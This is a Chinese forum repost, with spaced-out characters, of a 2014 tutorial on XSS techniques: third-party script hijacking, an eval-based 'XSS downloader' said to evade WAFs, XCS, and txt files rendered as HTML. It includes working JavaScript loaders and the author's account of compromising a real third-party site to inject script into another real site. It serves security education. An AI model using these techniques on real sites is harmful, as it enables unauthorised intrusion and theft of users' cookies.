搜索

[8294] 2014-09-23_XSS的原理分析与解剖第三章（技巧篇）

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-17
2014-09-23_XSS的原理分析与解剖第三章（技巧篇） X S S 的 原 理 分 析 与 解 剖 : 第 三 章 （ 技 巧 篇 ） F r e e B u f   2 0 1 4 - 0 9 - 2 3 作 者   B l a c k - H o l e 0 × 0 1   前 言 前 言 : 关 于 前 两 节 关 于 前 两 节 u r l ： 第 一 章 ： h t t p : / / w w w . f r e e b u f . c o m / a r t i c l e s / w e b / 4 0 5 2 0 . h t m l 第 二 章 ： h t t p : / / w w w . f r e e b u f . c o m / a r t i c l e s / w e b / 4 2 7 2 7 . h t m l 说 的 x s s 的 原 理 及 不 同 环 境 的 构 造 方 法 。 和 X S S 的 分 类 及 挖 掘 方 法 。 那 么 本 期 则 说 X S S 技 巧 ， 前 面 两 个 干 货 不 太 多 ， 讲 的 都 是 比 较 基 础 的 。 而 这 期 则 是 满 满 的 干 货 。 从 本 期 开 始 ， X S S 我 就 开 始 深 入 了 。 至 于 下 一 章 X S S 编 码 ， 已 经 被 0 x E x p l o i t 写 过 了 (   h t t p : / / w w w . f r e e b u f . c o m / a r t i c l e s / w e b / 4 3 2 8 5 . h t m l   ) ， 我 会 视 情 况 来 考 虑 写 不 写 。 我 这 里 我 先 解 答 下 上 期 遗 留 的 问 题 问 1 ： 只 能 更 改 I P 么 ？ 答 1 ： 不 是 ， 这 里 只 是 一 个 例 子 ， 大 家 需 要 发 散 思 维 。 R e f e r e r   U s e r - A g e n t   C o o k i e   等 都 可 以 的 。 问 2 ： 我 一 个 站 也 是 h t t p 头 部 获 取 用 户 信 息 地 方 存 在 注 入 ， 可 否 x s s ？ 答 2 ： 存 在 注 入 说 明 你 把 用 户 信 息 放 到 数 据 库 里 了 ， 如 果 不 显 示 前 / 后 台 显 现 用 户 信 息 ， 则 不 存 在 X S S 。 0 × 0 2   第 三 方 劫 持 第 三 方 劫 持   ( 外 调 外 调 J / C ) ： ： 本 方 法 是 我 看 长 短 短 贴 代 码 时 知 晓 的 ， 这 篇 文 章 我 只 是 把 这 个 攻 击 手 法 整 理 了 出 来 ， 来 说 明 这 个 漏 洞 ， 这 个 攻 击 手 法 并 不 是 我 发 现 的 ， 我 也 不 是 太 清 楚 是 谁 。 “ 第 三 方 劫 持 ” 就 是 把 资 源 域 的 服 务 器 的 权 限 拿 下 ， 替 换 相 关 资 源 ， 采 用 ‘ 迂 回 式 ’ 的 渗 透 方 式 。 P S ： J / C 指 的 是 j a v a s c r i p t 、 c s s ， 其 实 还 包 括 f l a s h 、 e t c 、 h t m l 等 等 ， 只 是 这 个 不 经 常 使 用 而 已 ， 所 以 就 不 说 了 。 从 字 面 上 大 家 也 可 以 猜 出 来 ， 这 是 种 什 么 攻 击 手 法 。 名 字 里 的 " 外 调 " 不 是 从 目 标 网 站 上 插 入 新 的 J / C 。 而 是 在 目 标 网 站 上 找 到 不 是 本 站 的 J / C 。 然 后 渗 透 那 个 网 站 ， 重 写 J / C 。 来 达 到 渗 透 目 标 网 站 。 可 是 要 怎 么 找 到 非 本 站 的 J / C 呢 ？ ！ 不 要 担 心 ，   “ 长 短 短 ” 已 经 写 好 相 关 的 代 码 了 ， 获 取 非 本 站 的 J / C 。 f o r ( v a r   i = 0 , t a g s = d o c u m e n t . q u e r y S e l e c t o r A l l ( ' i f r a m e [ s r c ] , f r a m e [ s r c ] , s c r i p t [ s r c ] , l i n k [ r e l = s t y l e s h e e t ] , o b j e c t [ d a t a ] , e m b e d [ s r c ] ' ) , t a g ; t a g = t a g s [ i ] ; i + + ) {     v a r   a   =   d o c u m e n t . c r e a t e E l e m e n t ( ' a ' ) ;     a . h r e f   =   t a g . s r c | | t a g . h r e f | | t a g . d a t a ;     i f ( a . h o s t n a m e ! = l o c a t i o n . h o s t n a m e ) {         c o n s o l e . w a r n ( l o c a t i o n . h o s t n a m e + '   发 现 第 三 方 资 源 [ ' + t a g . l o c a l N a m e + ' ] : ' + a . h r e f ) ;     } } 把 这 段 输 入 在 把 这 段 输 入 在 F 1 2 “ 审 查 元 素 审 查 元 素 ” 里 里 ” 控 制 台 控 制 台 ” 里 ， 回 车 就 里 ， 回 车 就 O K 。 a O K ， 原 理 说 完 了 。 我 们 来 个 实 例 。 我 们 在 h t t p : / / w w w . z j 4 0 0 0 . c o m /   网 站 上 使 用 上 面 的 代 码 ， 获 取 到 ， 其 中 有 个 w w w . x s s 8 . p w 的 j s 。 那 么 我 就 渗 透 他 试 试 ， 2 0 分 钟 后 … … . 好 了 ， 渗 透 完 了 。 我 们 现 在 来 重 写 J S ， 现 在 我 们 先 测 试 下 能 不 能 用 ， 我 先 在 1 . j s 里 写 上 a l e r t ( & # 0 3 9 ; x s s & # 0 3 9 ; ) ;
现 在 ， 我 们 再 来 看 看   w w w . z j 4 0 0 0 . c o m   怎 么 样 了 。 看 来 ， 已 经 被 成 功 调 用 了 。 我 这 里 没 有 用 c s s 来 说 ， 因 为 j s 比 较 规 范 点 ， 而 且 用 c s s 来 实 现 我 这 上 面 的 功 能 ， 同 理 S W F 也 可 以 实 现 上 面 的 功 能 。 我 相 信 大 家 都 会 了 ， 不 需 要 我 再 多 说 什 么 了 。 现 在 你 已 经 掌 握 了 一 个 可 随 时 变 化 的 储 蓄 x s s ， 我 们 可 以 自 己 写 个 脚 本 ， 来 获 取 目 标 的 c o o k i e s 。 这 些 我 就 不 说 了 ， 我 只 是 把 这 门 冷 门 但 是 比 较 有 潜 力 的 攻 击 手 法 和 大 家 说 下 。 这 个 攻 击 手 法 比 较 有 局 限 性 ， 只 要 网 站 有 着 可 以 实 现 攻 击 环 境 ，   那 么 的 危 害 将 会 非 常 大 。 想 继 续 了 解 的 可 以 看 看 黑 哥 写 的 P P T ， 下 载 连 接 ： h t t p : / / w w w . 8 0 v u l . c o m / p a p e r / W E B s e c 2 - p u b l i c . p p t 0 × 0 3   X S S   d o w n l o a d e r （ （ X S S 下 载 器 ） ： 下 载 器 ） ： 此 方 法 是 由 c n n 4 r y 在 《 X S S 跨 站 脚 本 攻 击 剖 析 与 防 御 》 里 提 起 过 。 这 个 技 术 其 实 就 是 把 反 射 和 储 蓄 结 合 起 来 ， 把 核 心 代 码 写 在 网 站 上 ， 然 后 以 X S S 触 发 并 调 用 代 码 ， 实 现 攻 击 。 在 《 X S S 跨 转 脚 本 攻 击 剖 析 与 防 御 》 里 的 代 码 不 太 正 确 ， 没 有 使 用 o n r e a d y s t a t e c h a n g e 的 r e a d y S t a t e 来 判 断 是 否 请 求 完 成 ， 也 没 有 用 s t a t u s 判 断 页 面 是 否 存 在 。 导 致 没 符 合 这 几 个 条 件 的 情 况 下 就 输 出 了 ， 此 时 内 容 是 空 的 ， 所 以 不 会 成 功 ， 我 就 自 己 写 了 一 个 a j a x 获 取 的 。 下 面 是 代 码 a j a x . h t m l ： ： < h t m l > < h e a d > < t i t l e > a j a x < / t i t l e > < m e t a   h t t p - e q u i v = " c o n t e n t - t y p e "   c o n t e n t = " t e x t / h t m l ; c h a s e t = u t f - 8 "   / > < / h e a d > < b o b y > < s c r i p t > v a r   x m l h t t p ; v a r   r e q u e s t _ t e x t ; i f ( w i n d o w . X M L H t t p R e q u e s t ) { x m l h t t p   =   n e w   X M L H t t p R e q u e s t ( ) ; } e l s e { x m l h t t p   =   n e w   A c t i v e X O b j e c t ( " M i c r o s o f t . X M L H T T P " ) ; } x m l h t t p . o n r e a d y s t a t e c h a n g e = f u n c t i o n ( ) { i f ( x m l h t t p . r e a d y S t a t e = = 4   & & x m l h t t p . s t a t u s = = 2 0 0 ) { r e q u e s t _ t e x t = x m l h t t p . r e s p o n s e T e x t ; v a r   a   =   r e q u e s t _ t e x t . i n d e x O f ( " w o a i n i " ) + 6 ; v a r   b   =   r e q u e s t _ t e x t . i n d e x O f ( " n i a i w o " ) ; e v a l ( r e q u e s t _ t e x t . s u b s t r i n g ( a , b ) ) ; } } x m l h t t p . o p e n ( " P O S T " , " a j a x . p h p " , " t r u e " ) ; x m l h t t p . s e n d ( ) ; < / s c r i p t > < / b o b y > < / h t m l > A j a x . p h p ： ： 1 2 3 4 5 6 4 8 7 4 5 4 6 5 4 6 5 4 7 4 w o a i n i a l e r t ( ' x s s ' ) n i a i w o a s d 5 1 6 5 4 8 4 6 1 3 e j k a s o i d o a i d 这 时 ， 当 你 打 开 a j a x . h t m l ， 就 会 弹 出 对 话 框 。 如 图 ：
现 在 我 来 说 说 代 码 的 大 致 意 思 a j a x . h t m l 它 的 主 要 功 能 就 是 获 取 a j a x . p h p 里 在 w o a i n i 字 符 串 和 n i a i w o 之 间 的 字 符 串 ， 并 把 获 取 的 字 符 串 用 e v a l 的 方 式 运 行 ， A j a x . . p h p ( 可 以 为 t x t ， 或 者 h t m l 等 等 ， 不 要 太 在 意 是 p h p 后 缀 ) 没 什 么 主 要 的 功 能 ， 但 是 他 是 这 个 技 巧 的 核 心 ， e v a l 就 是 运 行 它 里 面 的 代 码 。 整 个 内 容 ， 你 可 以 写 很 多 没 有 用 的 字 符 串 ， 但 是 e v a l 运 行 的 代 码 ， 必 须 是 在 w o a i n i 和 n i a i w o 之 间 ， 切 记 ！ 因 为 篇 幅 有 限 ， 还 有 一 种 方 式 ， 我 就 不 细 说 ， 说 出 原 理   大 家 也 因 该 明 白 了 。 假 设 网 站 的 留 言 板 存 在 反 射 X S S ， 我 想 利 用 的 话 ， 我 可 以 构 造 为 o n 事 件 ， 或 者 伪 协 议 ( j a v a s c r i p t : ) 来 运 行 下 面 的 代 码 e v a l ( d o c u m e n t . b o b y . i n n e r H T M L . s u b s t r i n g ( d o c u m e n t . b o b y . i n n e r H T M L . i n d e x O f ( ' w o a i n i ' ) + 6 , d o c u m e n t . b o b y . i n n e r H T M L . i n d e x O f ( ' n i a i w o ' ) ) ) ; 那 我 留 言 ， 内 容 为 w o a i n i a l e r t ( & # 0 3 9 ; x s s & # 0 3 9 ; ) n i a i w o ， 你 就 会 发 现 弹 出 对 话 框 了 ， 这 种 方 法 隐 蔽 性 强 ， 利 用 方 便 ， 可 以 绕 过 很 多 的 W A F 。 不 一 定 非 要 用 a j a x 来 获 取 ， 也 可 以 在 本 地 使 用 i n d e x O f 和 s u b s t r i n g 来 完 成 。 如 果 你 想 ， 你 还 可 以 使 用 j a v a s c r i p t 正 则 来 获 取 指 定 内 容 ， 下 面 是 代 码 ： 1 . h t m l ： ： < h t m l > < h e a d > < t i t l e > a j a x + 正 则 匹 配 < / t i t l e > < m e t a   h t t p - e q u i v = " c o n t e n t - t y p e "   c o n t e n t = " t e x t / h t m l ; c h a s e t = u t f - 8 "   / > < / h e a d > < b o b y > < s c r i p t > v a r   x m l h t t p ; v a r   r e q u e s t _ t e x t ; i f ( w i n d o w . X M L H t t p R e q u e s t ) { x m l h t t p   =   n e w   X M L H t t p R e q u e s t ( ) ; } e l s e { x m l h t t p   =   n e w   A c t i v e X O b j e c t ( " M i c r o s o f t . X M L H T T P " ) ; } x m l h t t p . o n r e a d y s t a t e c h a n g e = f u n c t i o n ( ) { i f ( x m l h t t p . r e a d y S t a t e = = 4   & & x m l h t t p . s t a t u s = = 2 0 0 ) { r e q u e s t _ t e x t = x m l h t t p . r e s p o n s e T e x t ; v a r   t e x t   =   r e q u e s t _ t e x t . m a t c h ( / w o a i n i ( . * ) n i a i w o / i ) ; e v a l ( t e x t [ 1 ] ) ; } } x m l h t t p . o p e n ( " P O S T " , " a j a x . p h p " , " t r u e " ) ; x m l h t t p . s e n d ( ) ; < / s c r i p t > < / b o b y > < / h t m l > 0 × 0 4   X C S ： ： X C S 就 是 利 用 浏 览 器 来 玩 X S S ， 它 的 功 能 比 普 通 上 的 X S S 还 要 强 大 ， 因 为 利 用 浏 览 器 协 议 漏 洞 ， 可 以 调 用 浏 览 器 的 A P I 来 实 现 下 载 覆 盖 本 地 文 件 ( 可 以 把 它 这 个 功 能 理 解 为 挂 马 ) 。 X S C 还 可 以 控 制 浏 览 器 的 历 史 、 设 置 、 收 藏 夹 等 。 因 为 之 前 黑 哥 在 K C o n 大 会 上 讲 过 了 ， 我 也 就 不 在 多 说 了 。 这 是 （ 传 送 门 h t t p s : / / g i t h u b . c o m / k n o w n s e c / K C o n / b l o b / m a s t e r / K C o n % 2 0 V 2 / % E 5 % 8 E % B B % E 5 % B 9 % B 4 % E 8 % B 7 % A 8 % E 8 % B F % 8 7 % E 7 % 9 A % 8 4 % E 6 % B 5 % 8 F % E 8 % A 7 % 8 8 % E 5 % 9 9 % A 8 / % E 5 % 8 E % B B % E 5 % B 9 % B 4 % E 8 % B 7 % A 8 % E 8 % B F % 8 7 % E 7 % 9 A % 8 4 % E 6 % B 5 % 8 F % E 8 % A 7 % 8 8 % E 5 % 9 9 % A 8 . p p t ） 黑 哥 对 X C S 所 写 的 P P T ， 想 了 解 的 可 以 看 看 。 0 × 0 5   页 面 渲 染 页 面 渲 染 X S S ： ： 这 个 漏 洞 是 我 在 2 0 1 0 年 - 2 0 1 1 年 之 间 发 现 的 ( 可 能 在 我 之 前 就 有 人 发 现 了 ， 只 是 我 不 知 道 吧 ) ， 当 时 提 交 到 某 云 ， 不 知 道 为 什 么 ， 没 有 通 过 ， 我 也 懒 得 说 了 。 当 时 存 在 这 个 漏 洞 的 浏 览 器 除 了 c h r o m e 、 f i r e f o x ， 其 他 的 几 乎 都 存 在 ， 现 在 这 个 漏 洞 已 经 没 有 了 ， 但 是 我 还 说 出 来 吧 ， 大 家 可 以 当 成 一 个 思 路 。 j p g ( i e 6 下 才 会 出 现 ) 、 w o r d 等 ， 都 可 以 。 假 如 我 当 前 页 面 存 在 t x t 文 件 ， 而 t x t 文 件 内 容 为 < s c r i p t > a l e r t ( ' x s s ' ) < / s c r i p t > 时 ， 就 会 弹 窗 。 因 为 浏 览 器 把 t x t 的 内 容 当 成 h t m l 来 输 出 了 。 大 家 设 想 下 ， 当 时 的 很 多 站 点 都 可 以 上 传 t x t ， 可 想 而 知 这 个 漏 洞 的 危 害 性 ， 只 不 过 我 不 知 道 为 什 么 我 提 交 了 2   3 次 ， 某 云 为 什 么 一 直 忽 略 。 前 几 个 月 某 云 的 账 号 被 一 个 曾 经 的 朋 友 以 1 0 0 元 卖 给 其 他 人 ， 对 方 乱 发 东 西 ， 账 号 被 封 ， 某 云 的 管 理 员 就 是 不 同 意 解 封 ， 我 也 只 能 呵 呵 。
我 在 这 里 说 明 下 后 期 章 节 的 安 排 。 第 四 章 写 编 码 和 绕 过 ， 第 五 章 说 x s s   f u z z i n g ， 第 六 章 说 X S F 。 如 果 还 有 什 么 ， 我 会 继 续 写 下 去 。 结 尾 ： 感 谢 c n n 4 r y 的 建 议 ： 以 下 是 截 图 ： 下 面 是 c n n 4 r y 给 我 的 文 件 ， 大 家 可 以 去 研 究 下 。 h t t p : / / p a n . b a i d u . c o m / s / 1 j G 8 6 n o 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理